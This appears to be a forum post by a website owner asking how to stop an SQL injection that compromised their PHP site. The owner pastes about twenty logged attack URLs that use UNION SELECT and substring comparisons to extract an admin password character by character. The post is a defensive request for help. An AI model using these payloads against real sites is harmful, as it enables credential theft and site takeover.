my site hacked. i traced the hacker and i found he used of sql injection to hack my website.
i have this path in my website:
index.php?type=gallerylists&lang=1&id=1
he used of:
index.php?type=gallerylists&lang=1&id=1%20AND%201=2%20UNION%20SELECT%201,1,1,1,1,1,1,1,1,1,1%20FROM%20user%20WHERE%20substring(password,30,1)=char(53)%20and%20id=2
index.php?type=gallerylists&lang=1&id=1%20AND%201=2%20UNION%20SELECT%201,1,1,1,1,1,1,1,1,1,1%20FROM%20user%20WHERE%20substring(password,30,1)=char(54)%20and%20id=2
index.php?type=gallerylists&lang=1&id=1%20AND%201=2%20UNION%20SELECT%201,1,1,1,1,1,1,1,1,1,1%20FROM%20user%20WHERE%20substring(password,30,1)=char(55)%20and%20id=2
index.php?type=gallerylists&lang=1&id=1%20AND%201=2%20UNION%20SELECT%201,1,1,1,1,1,1,1,1,1,1%20FROM%20user%20WHERE%20substring(password,30,1)=char(56)%20and%20id=2
index.php?type=gallerylists&lang=1&id=1%20AND%201=2%20UNION%20SELECT%201,1,1,1,1,1,1,1,1,1,1%20FROM%20user%20WHERE%20substring(password,30,1)=char(57)%20and%20id=2
index.php?type=gallerylists&lang=1&id=1%20AND%201=2%20UNION%20SELECT%201,1,1,1,1,1,1,1,1,1,1%20FROM%20user%20WHERE%20substring(password,30,1)=char(97)%20and%20id=2
index.php?type=gallerylists&lang=1&id=1%20AND%201=2%20UNION%20SELECT%201,1,1,1,1,1,1,1,1,1,1%20FROM%20user%20WHERE%20substring(password,30,1)=char(98)%20and%20id=2
index.php?type=gallerylists&lang=1&id=1%20AND%201=2%20UNION%20SELECT%201,1,1,1,1,1,1,1,1,1,1%20FROM%20user%20WHERE%20substring(password,30,1)=char(99)%20and%20id=2
index.php?type=gallerylists&lang=1&id=1%20AND%201=2%20UNION%20SELECT%201,1,1,1,1,1,1,1,1,1,1%20FROM%20user%20WHERE%20substring(password,31,1)=char(48)%20and%20id=2
index.php?type=gallerylists&lang=1&id=1%20AND%201=2%20UNION%20SELECT%201,1,1,1,1,1,1,1,1,1,1%20FROM%20user%20WHERE%20substring(password,31,1)=char(49)%20and%20id=2
index.php?type=gallerylists&lang=1&id=1%20AND%201=2%20UNION%20SELECT%201,1,1,1,1,1,1,1,1,1,1%20FROM%20user%20WHERE%20substring(password,31,1)=char(50)%20and%20id=2
index.php?type=gallerylists&lang=1&id=1%20AND%201=2%20UNION%20SELECT%201,1,1,1,1,1,1,1,1,1,1%20FROM%20user%20WHERE%20substring(password,32,1)=char(48)%20and%20id=2
index.php?type=gallerylists&lang=1&id=1%20AND%201=2%20UNION%20SELECT%201,1,1,1,1,1,1,1,1,1,1%20FROM%20user%20WHERE%20substring(password,32,1)=char(49)%20and%20id=2
index.php?type=gallerylists&lang=1&id=1%20AND%201=2%20UNION%20SELECT%201,1,1,1,1,1,1,1,1,1,1%20FROM%20user%20WHERE%20substring(password,32,1)=char(50)%20and%20id=2
index.php?type=gallerylists&lang=1&id=1%20AND%201=2%20UNION%20SELECT%201,1,1,1,1,1,1,1,1,1,1%20FROM%20user%20WHERE%20substring(password,32,1)=char(51)%20and%20id=2
index.php?type=gallerylists&lang=1&id=1%20AND%201=2%20UNION%20SELECT%201,1,1,1,1,1,1,1,1,1,1%20FROM%20user%20WHERE%20substring(password,32,1)=char(52)%20and%20id=2
index.php?type=gallerylists&lang=1&id=1%20AND%201=2%20UNION%20SELECT%201,1,1,1,1,1,1,1,1,1,1%20FROM%20user%20WHERE%20substring(password,32,1)=char(53)%20and%20id=2
index.php?type=gallerylists&lang=1&id=1%20AND%201=2%20UNION%20SELECT%201,1,1,1,1,1,1,1,1,1,1%20FROM%20user%20WHERE%20substring(password,32,1)=char(54)%20and%20id=2
index.php?type=gallerylists&lang=1&id=1%20AND%201=2%20UNION%20SELECT%201,1,1,1,1,1,1,1,1,1,1%20FROM%20user%20WHERE%20substring(password,32,1)=char(55)%20and%20id=2
and very of these same urls to access the password of my website's control system.
how do i prevent of this sql injection?
does $id=mysql_real_escape_string($id) perevent?
i am wating.
thanks